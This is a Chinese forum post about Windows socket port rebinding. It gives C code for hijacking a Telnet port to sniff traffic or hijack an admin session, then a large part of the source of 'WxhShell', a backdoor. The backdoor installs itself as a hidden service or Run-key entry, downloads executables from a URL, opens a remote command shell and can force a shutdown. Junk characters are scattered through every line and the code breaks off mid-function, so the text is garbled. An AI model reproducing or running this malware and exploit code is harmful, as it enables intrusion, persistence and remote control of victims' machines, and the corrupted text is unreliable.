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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8 gzf$Oc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6 VuMx7W1  
 $"x~p1P  
  saddr.sin_family = AF_INET; =!|= Y@  
G>c:+`KS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,hXhcfFl  
Ln5g"g8gb%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $"]*,=-X  
5KDN8pJN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "\M^jO  
S -KHot ?  
  这意味着什么?意味着可以进行如下的攻击: >-Q=o,cl%3  
$n@B:kv5p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {Zy)p%j8  
IH~[/qNk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'nh^'i&0.  
:Z5Twb3h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xc6A&b>jI  
5\eM3w'd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ; )J\k2  
nf9NJ_8}4H  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 16R0#Q/{+*  
V'&`JZK6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ww$Ec  
ua>YI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w [7vxQ!-  
|(\T;~7'  
  #include @fG 'X  
  #include rW B/#m  
  #include Dk`(Wgk2  
  #include    r:Rk!z*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }:a:E~5y  
  int main() 8[xl3=  
  { 8xN+LL'T{  
  WORD wVersionRequested; ]:r6  
  DWORD ret; rGb<7b%  
  WSADATA wsaData; tDIQ=  
  BOOL val; d/Y#oVI  
  SOCKADDR_IN saddr; wmnh7'|0u  
  SOCKADDR_IN scaddr; MGE8S$Z  
  int err; QNe siV0MI  
  SOCKET s; .-HwT3  
  SOCKET sc; - HiRXB  
  int caddsize; 8Xjp5  
  HANDLE mt; 2\J-7o=P  
  DWORD tid;   $|%BaEyk  
  wVersionRequested = MAKEWORD( 2, 2 ); r>ca17  
  err = WSAStartup( wVersionRequested, &wsaData ); -oR P ZtW  
  if ( err != 0 ) { NANgV~Y&  
  printf("error!WSAStartup failed!\n"); k~=_]sLn  
  return -1; q aZQ1<e  
  } Ek%mX"  
  saddr.sin_family = AF_INET; XlDN)b5v{  
   `4kVe= {  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 GP{$w_'!J0  
@m+2e C77  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %29lDd(<  
  saddr.sin_port = htons(23);  \qj(`0HG  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !)$e+o^W  
  { 0S71&I$u]  
  printf("error!socket failed!\n"); G24 Ov&H  
  return -1; 7/b\NLeJ'  
  } ]<Kkq !  
  val = TRUE; " ';K$&,[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *~SanL\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q.Xs%{B  
  { LZH~VkK@m}  
  printf("error!setsockopt failed!\n"); {q1u[T&r  
  return -1; ^ R7|x+  
  } ^9fY %98  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %v)O!HC}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h1REL^!c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OH/!Ky\@  
6Mh"{N7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #Q'j^y 7=z  
  { V18 A|]k  
  ret=GetLastError(); ^LAnR>mz^r  
  printf("error!bind failed!\n"); &Xh_`*]ox  
  return -1; :^H2D=z@  
  } vMYL( ]e  
  listen(s,2); ^Cy=L]  
  while(1) s@D/.X  
  { 7*\Cf qrU  
  caddsize = sizeof(scaddr); {U"=}j(  
  //接受连接请求 c.4WwzK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); IF'Tj`yD  
  if(sc!=INVALID_SOCKET) o'J^kd`  
  { (j?ckah%V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v@ifB I  
  if(mt==NULL) JpE7"Z"~MS  
  {  BDfJ  
  printf("Thread Creat Failed!\n"); Ym|%ka  
  break; qN\?cW'  
  } tg6iHFa  
  } ]@{l<ExP  
  CloseHandle(mt); 9oQ$w?=#$  
  } _Nacqa  
  closesocket(s); Lq2ZgKd!  
  WSACleanup(); R1vuf*A5,  
  return 0; *%CDQx0}  
  }   9v@P|  
  DWORD WINAPI ClientThread(LPVOID lpParam) i+ICgMcd  
  { )}lO%B'K  
  SOCKET ss = (SOCKET)lpParam; ^?5HagA  
  SOCKET sc; PvB{@82  
  unsigned char buf[4096]; +; / s0  
  SOCKADDR_IN saddr; D=@bPB>  
  long num; hg2UZ% Y  
  DWORD val; e?_uJh"  
  DWORD ret; = P$Q;d  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `G:I|=#w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *aW:Z6N  
  saddr.sin_family = AF_INET; +$$5Cv5#<&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &lnM 1W  
  saddr.sin_port = htons(23); Ubm]V{7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) COA*Q  
  { Qv6-,6<  
  printf("error!socket failed!\n"); Qo\?(E M  
  return -1; "</A) y&  
  } T^Ol=QCu  
  val = 100; # 1 1<=3Yj  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t?wVh0gT  
  { T~8kKw  
  ret = GetLastError(); s"5wnp6pW  
  return -1; @%BsQm  
  } 4^T_" W}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sB8v:  
  { {t!Pv 2y<  
  ret = GetLastError(); {Y|?~ha#  
  return -1; ,!dVhG#  
  } MO%+rf0~w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9#E)H?`g  
  { |[!7^tU*  
  printf("error!socket connect failed!\n"); V3(8?Fz.  
  closesocket(sc); P!dSJ1'oC  
  closesocket(ss); b_f"(l8'S  
  return -1; y({lE3P  
  } aC94g7)`  
  while(1) ~S\,  
  { xnxNc5$oE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Rxlz`&   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |3mcL'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VS3lz?o?6g  
  num = recv(ss,buf,4096,0); %7[q%S  
  if(num>0) {q! :t0X.Y  
  send(sc,buf,num,0); lvx[C7?  
  else if(num==0) HCT+.n6  
  break; .d6b ?t  
  num = recv(sc,buf,4096,0); 7%Ou6P$^fr  
  if(num>0) DE+k'8\T  
  send(ss,buf,num,0); t;`ULp~&  
  else if(num==0) T: SqENV  
  break; ?&!e f {  
  } ,Xxp]*K2  
  closesocket(ss); .}Eckqkp  
  closesocket(sc); 4~Y?*|G]m  
  return 0 ; "B>8on8O  
  } (TU/EU5  
3L36 2  
!v8](UI8-  
========================================================== qu&p)*M5  
$]rC-K:Z  
下边附上一个代码,,WXhSHELL 0g9y4z{H  
Xk!wT2;  
========================================================== \-SC-c  
%C_c%3d  
#include "stdafx.h" kbo9nY1k g  
&?}A/(#  
#include <stdio.h> ~C>clkZ  
#include <string.h> rv`GOta*  
#include <windows.h> 1 @i/N  
#include <winsock2.h> Nt\0) &b  
#include <winsvc.h> ^*w}+tB  
#include <urlmon.h> "T*1C=  
.>Qa3,v5  
#pragma comment (lib, "Ws2_32.lib") 3m$ck$  
#pragma comment (lib, "urlmon.lib") axOEL:-|Bu  
Y<V$3h  
#define MAX_USER   100 // 最大客户端连接数 t37<<5A  
#define BUF_SOCK   200 // sock buffer N<b~,[yCd>  
#define KEY_BUFF   255 // 输入 buffer &8I }q]'k  
SLRF\mh!L  
#define REBOOT     0   // 重启 +cM~|  
#define SHUTDOWN   1   // 关机 h^ K]ASj  
=WHI/|&  
#define DEF_PORT   5000 // 监听端口 f[ KI T  
o/ 7[ G  
#define REG_LEN     16   // 注册表键长度 {$#88Qa\-  
#define SVC_LEN     80   // NT服务名长度 {u+=K-Bj  
[ . }Uzx  
// 从dll定义API j#xGB]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "dT"6,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m2P&DdN[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $f%om)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'rTJ*1i  
z{&z  
// wxhshell配置信息 qzEv!?)a  
struct WSCFG {  56MY@  
  int ws_port;         // 监听端口 YrYmPSb=  
  char ws_passstr[REG_LEN]; // 口令 |QD#Dx1_  
  int ws_autoins;       // 安装标记, 1=yes 0=no ; +.cD  
  char ws_regname[REG_LEN]; // 注册表键名 c3 )jsf  
  char ws_svcname[REG_LEN]; // 服务名 yZN~A:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o/Q|R+yXV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 " %qr*|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $E.Fgy:G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D)Ep!`Q   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P)#h4|xZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n/x((d%"E  
/='Q-`?9  
}; hC9EL= A  
?z2!?  
// default Wxhshell configuration BMqr YW  
struct WSCFG wscfg={DEF_PORT, /]U;7)  
    "xuhuanlingzhe", =z]rZSq*o  
    1, &H P g>  
    "Wxhshell", |sY  
    "Wxhshell", )0DgFA6k_  
            "WxhShell Service", q#SEtyJL  
    "Wrsky Windows CmdShell Service", 3=^)=yOd  
    "Please Input Your Password: ", C"$~w3A k  
  1, *l;S"}b*,_  
  "http://www.wrsky.com/wxhshell.exe", JU.!<  
  "Wxhshell.exe" (> _Lb  
    }; )EQz9  
KCAV  
// 消息定义模块 H%etYpD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K&zW+C b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 99(@O,*(Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %-$BtR2@o  
char *msg_ws_ext="\n\rExit."; U{/fY/kq  
char *msg_ws_end="\n\rQuit."; =@S a\;  
char *msg_ws_boot="\n\rReboot..."; _/'VD!(MV  
char *msg_ws_poff="\n\rShutdown..."; T?QW$cU!e:  
char *msg_ws_down="\n\rSave to "; `<g6^P  
rS+) )!  
char *msg_ws_err="\n\rErr!"; {M7`"+~w  
char *msg_ws_ok="\n\rOK!"; a+\<2NXYD  
5 ba e-  
char ExeFile[MAX_PATH]; >MSK.SNh  
int nUser = 0; fVf:voh  
HANDLE handles[MAX_USER]; 9D Nd} rXO  
int OsIsNt; (wuciKQ  
NbTaI{r  
SERVICE_STATUS       serviceStatus; V.*y_=i8t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w%plK6:6  
EpQy;#=;  
// 函数声明 aSu^  
int Install(void); 4/k`gT4  
int Uninstall(void); e9 @{[  
int DownloadFile(char *sURL, SOCKET wsh); D~BL Txq  
int Boot(int flag); g4W/T  
void HideProc(void); FRajo~H  
int GetOsVer(void); )QRT/, ;c  
int Wxhshell(SOCKET wsl); 0[M2LF!m  
void TalkWithClient(void *cs); |Olz h63k:  
int CmdShell(SOCKET sock); 6)*B%$?x  
int StartFromService(void); _ E-\aS{  
int StartWxhshell(LPSTR lpCmdLine); _)~1'tCs}h  
qp/1 tC`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [f! { -T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Yh!=mW!OY  
Shn=Q  
// 数据结构和表定义 B :S8{  
SERVICE_TABLE_ENTRY DispatchTable[] = de)4)EzUP  
{ OzD\* ,{7  
{wscfg.ws_svcname, NTServiceMain}, W h)  
{NULL, NULL} U\B9Ab  
}; 6wj o:I  
u$C\#y7  
// 自我安装 4hLk+z<n  
int Install(void) E?czolNl  
{ <#4""FO*  
  char svExeFile[MAX_PATH]; -CuuO=h  
  HKEY key; y`L.#5T  
  strcpy(svExeFile,ExeFile); F[SZwMf29  
xr]bH.>  
// 如果是win9x系统,修改注册表设为自启动 :Yn.Wv-  
if(!OsIsNt) { 6i~|<vcSP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /9&!u )+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yg H)U.  
  RegCloseKey(key); /} z9(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s]O Z+^Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tgl(*[T2  
  RegCloseKey(key); oA@M =  
  return 0; 3)ox8,{%}  
    } %8|lAMTY7/  
  } -gk2$P-  
} VFx[{Hy  
else { li v=q  
/*{'p!?  
// 如果是NT以上系统,安装为系统服务 |>.MH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }e/vKW fT  
if (schSCManager!=0) `4snTM!v&  
{ IN<nZ?D#  
  SC_HANDLE schService = CreateService nDO7  
  (  6?*Do  
  schSCManager, 0kj5r*qA  
  wscfg.ws_svcname, ,[6Rmsk  
  wscfg.ws_svcdisp, )W>$_QxbN  
  SERVICE_ALL_ACCESS, T#i;=NP"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y6tqemz  
  SERVICE_AUTO_START, yP"}(!~m  
  SERVICE_ERROR_NORMAL, |;xEK nF  
  svExeFile, d~rA`!s7`  
  NULL, &9)/"  
  NULL, v%AepK&  
  NULL, 5,s@K>9l;  
  NULL, F-rhxJd  
  NULL ZD'mwj+K  
  ); `h'l"3l  
  if (schService!=0) /g!ZU2&l  
  { K>e-IxA);0  
  CloseServiceHandle(schService); #n{4f1TZ  
  CloseServiceHandle(schSCManager); 7gN;9pc$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d^nO&it  
  strcat(svExeFile,wscfg.ws_svcname); 5,##p"O(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ui,!_O .c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IqFcrU$4  
  RegCloseKey(key); cZ|NGkZ  
  return 0; ga/zt-&  
    } Zv!XNc!"$y  
  } ;`LG WT-<F  
  CloseServiceHandle(schSCManager); du$M  
} ?%$O7_ThvA  
} +aL  
,cS#  
return 1; &'&)E((  
} aVK,( j9u  
mj e9i  
// 自我卸载 mz%l4w?'  
int Uninstall(void) }q]*aADe  
{ 9xz@2b@  
  HKEY key; *cCx]C.~  
AVw oOv J  
if(!OsIsNt) { i 0/QfB%O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b way+lh  
  RegDeleteValue(key,wscfg.ws_regname); zJW2F_  
  RegCloseKey(key); f~\H|E8(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w^ z ftm  
  RegDeleteValue(key,wscfg.ws_regname); @(35I  
  RegCloseKey(key); r>ed/<_>m;  
  return 0; 9v`sSTlSd  
  } <(@S;?ZEW  
} He'VqUw_  
} 5NUaXQ  
else { l$\B>u,>  
N,rd= m+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3{|~'5*  
if (schSCManager!=0) 1!G}*38;  
{ 1}Q9y`65  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ; 8DtnnE  
  if (schService!=0) BRM `/s  
  { {g1"{  
  if(DeleteService(schService)!=0) { Ul /m]b6-  
  CloseServiceHandle(schService); \1joW#  
  CloseServiceHandle(schSCManager); 9%|skTgIqH  
  return 0; ^ '|y^t  
  } LH_H yP_  
  CloseServiceHandle(schService); |[iO./ zP  
  } 3%(r,AD  
  CloseServiceHandle(schSCManager); " Zhh>cz  
} ;z9 ,c  
} I50Ly sM  
1c#\CO1l  
return 1; B-]bhA4|:  
} !9NF@e'&!  
A32Sdr'D  
// 从指定url下载文件 ?2da6v,t  
int DownloadFile(char *sURL, SOCKET wsh) yp$jLBA  
{ -hW>1s<  
  HRESULT hr; Xwo+iZ(a  
char seps[]= "/"; "Hz%0zP&  
char *token; $`W3`}#fM  
char *file; O&aD]~|  
char myURL[MAX_PATH];  rn( drG  
char myFILE[MAX_PATH]; Zl&ED{k<  
2;"vF9WMm  
strcpy(myURL,sURL); 8%u|[Si;  
  token=strtok(myURL,seps); $`7Fk%#+e  
  while(token!=NULL) ysK J=  
  { 0n6eWwY  
    file=token; R[l`# I  
  token=strtok(NULL,seps);  w (RRu~J  
  } TO5y.M|7  
ibZ[U p?  
GetCurrentDirectory(MAX_PATH,myFILE); \8<[P(!3  
strcat(myFILE, "\\"); 2HBey  
strcat(myFILE, file); aW dI  
  send(wsh,myFILE,strlen(myFILE),0); lJ=EP.T  
send(wsh,"...",3,0); /cx'(AT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !y~nsy:&7x  
  if(hr==S_OK) * bYU=RS  
return 0; 2>^(&95M  
else wM N;<  
return 1; CQ.C{  
e8dZR3JL  
} ^&86VBP  
v\8v'EDP  
// 系统电源模块 ^.)0O3oC  
int Boot(int flag) oqh@ (<%  
{ Uaux0W  
  HANDLE hToken; ]U'zy+  
  TOKEN_PRIVILEGES tkp; QeFt WjlqC  
FO[ s;dmzu  
  if(OsIsNt) { ,N,@9p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  24 [cU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J`0dF<<{[y  
    tkp.PrivilegeCount = 1; ZDzG8E0Sq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]?T^tJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Hpz1Iy @  
if(flag==REBOOT) { ZG1TR F "  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^pu8\K;~  
  return 0; w<THPFFF"  
} P3W3+pwq  
else { Ig?9"{9p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *a\x!c"  
  return 0; q:M'|5P  
} D`[@7$t  
  } l$j~p=S$F  
  else { X6Z/xb@  
if(flag==REBOOT) { g|| q 3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cE`qfz  
  return 0; %7`eT^  
} {na>)qzKP  
else { VhLfSN>W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9eHqOmz  
  return 0; 4@\$k+v  
} zi`q([  
} l x5.50mI  
7_Te-i  
return 1; Z?qLn6y1W  
} 1>\V>g9  
DAf@-~c  
// win9x进程隐藏模块 Q.jThP`p  
void HideProc(void) -wx~*  
{ :%AEwRZ  
C :sgT6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;AVIt!(L~V  
  if ( hKernel != NULL ) K/Y"oQ2  
  { ( 1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5c}loOq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .Ow8C  
    FreeLibrary(hKernel); W+8s>  
  } r7V !M1  
bM?29cs  
return; rrEf<A}  
} 8EJP~bt  
|%|Vlu  
// 获取操作系统版本 L1G)/Vkw  
int GetOsVer(void) ADOA&r[  
{ tN)t`1_j  
  OSVERSIONINFO winfo; ^+d]'$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AZik:C"Q  
  GetVersionEx(&winfo); \v=@'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K% snE7X?)  
  return 1;  LDU4 D  
  else 3rHn?  
  return 0; \i-CTv6f  
} -CFy   
; }T+ImjA  
// 客户端句柄模块 {0+WVZ4u  
int Wxhshell(SOCKET wsl) pQc-}o"  
{ fyT|xI`iD  
  SOCKET wsh; JJg;X :p  
  struct sockaddr_in client; M,kO7g  
  DWORD myID; $.w$x1  
C,mfA%63  
  while(nUser<MAX_USER) &M3KJ I0L  
{ 3HcduJntl  
  int nSize=sizeof(client); noz1W ]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y d~J(  
  if(wsh==INVALID_SOCKET) return 1; /+`%u&<  
.)bNi*&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _4nm h0q4  
if(handles[nUser]==0) $'eY-U8q  
  closesocket(wsh); -w"lW7  
else FVL{KNW~i  
  nUser++; !'[?cEog  
  } ]o=ON95ja  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O x`K7$)  
Sa@'?ApH  
  return 0; L[nDjQn"  
} {' 0#<Z  
?VRsgV'$  
// 关闭 socket ]2|fc5G'  
void CloseIt(SOCKET wsh) 4e|N^h*!  
{ $~1mKx]]  
closesocket(wsh); Val"vUZ  
nUser--; b3 =Z~iLv  
ExitThread(0); @'M"c q  
} Tjv'S <  
aqQ+A:g  
// 客户端请求句柄 8* #$ 3e  
void TalkWithClient(void *cs) H=~7g3  
{ ,=G]tnsv^  
dcq18~  
  SOCKET wsh=(SOCKET)cs; :06.b:_  
  char pwd[SVC_LEN]; gE^pOn  
  char cmd[KEY_BUFF]; 3 4%B0  
char chr[1]; ^LB]  
int i,j; z'1%%.r;FM  
%*Mr ^=  
  while (nUser < MAX_USER) { S|@/"?DC  
N`?/kubD  
if(wscfg.ws_passstr) { 0T(+z)Ki  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); id8QagJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =)g}$r &<  
  //ZeroMemory(pwd,KEY_BUFF); /|}yf/^9X  
      i=0; 4]p#9`j  
  while(i<SVC_LEN) { ,:'JJZg@  
'PFjZGaKR  
  // 设置超时 /hVwrt(  
  fd_set FdRead; ae@!M  
  struct timeval TimeOut; 2T(+VeMQ=  
  FD_ZERO(&FdRead); +Q);t,  
  FD_SET(wsh,&FdRead); ns\I Y<Yo  
  TimeOut.tv_sec=8; H7Z`aQC  
  TimeOut.tv_usec=0; { 29aNm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /#@tv~Z^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j[w=pF,o  
?Y8hy|`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $X/'BCb  
  pwd=chr[0]; Jn| i!  
  if(chr[0]==0xd || chr[0]==0xa) { .b<W*4{j0H  
  pwd=0; :wg=H  
  break; * ]bB7  
  } QZ;DZMP  
  i++; #l: 1R&F  
    } Piwox1T ;  
/2/aMF(J  
  // 如果是非法用户,关闭 socket M&faa7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QT%vrXzz  
} OA\] |2 :  
VMJaL}J]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~Sm6{L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]' Ho)Q  
OUGkam0UK  
while(1) { ;]>)6  
}KIS_krs  
  ZeroMemory(cmd,KEY_BUFF); ,tyPZR_  
@^ -Y&N!b=  
      // 自动支持客户端 telnet标准   (/]#G8  
  j=0; CP%^)LX *  
  while(j<KEY_BUFF) { 4~FRE)8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $>yfu=]?  
  cmd[j]=chr[0]; % C2Vga#  
  if(chr[0]==0xa || chr[0]==0xd) { NR k~  
  cmd[j]=0; `]6<j<' ,  
  break; e`7>QS ;.  
  } VX8CEO  
  j++; U{pg y#/  
    } xJ. kd Tr  
A4#F AFy  
  // 下载文件 N#e9w3Rli  
  if(strstr(cmd,"http://")) { U\j g X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lfC]!=2%~8  
  if(DownloadFile(cmd,wsh)) <?!'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jg{2Sxf!c  
  else i(cKg&+ktd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wJq$yqos{  
  } Tt{z_gU6  
  else { </xf4.C  
R@tEC)Zn  
    switch(cmd[0]) { "gm5 DE  
  m9:ah<  
  // 帮助 SvvNk  
  case '?': { /JC1o&z_T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?vAhDD5  
    break; eQ8t.~5;-  
  } dlCYdwP  
  // 安装 i}v.x  
  case 'i': { oS9Od8  
    if(Install()) ZxT E(BQv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BQg3+w:>  
    else &V (6N%A^U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vS0 ii  
    break; mR XR uK  
    } x`@`y7(  
  // 卸载 $)o0{HsL+  
  case 'r': { Mz2TwU_  
    if(Uninstall()) .RFH@''  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >8OY6wb  
    else 5.&)hmpg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y1PyH  
    break; MO7R3PP  
    } $m*Gu:#xm&  
  // 显示 wxhshell 所在路径 GCO: !,1  
  case 'p': { `<>QKpAn  
    char svExeFile[MAX_PATH]; kI@<H<  
    strcpy(svExeFile,"\n\r"); IHd W!q  
      strcat(svExeFile,ExeFile); "P(obk  
        send(wsh,svExeFile,strlen(svExeFile),0); $rr@3H+  
    break; m26YAcip}  
    } ?(d1;/0v>  
  // 重启 N AY3.e  
  case 'b': { u?dPCgs;h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U 887@-!3  
    if(Boot(REBOOT)) 'xkl|P>=],  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7f ub^'_  
    else { =IQ}Y_xr  
    closesocket(wsh); =dKjTBR S'  
    ExitThread(0); { ,c*OR  
    } kVKAG\F  
    break; _]4 p51r0  
    } a oU"  
  // 关机 jED.0,+K !  
  case 'd': { u|Mx}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +D]raU  
    if(Boot(SHUTDOWN)) 0D@$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -/{FGbpR;  
    else { LFHJj-nk  
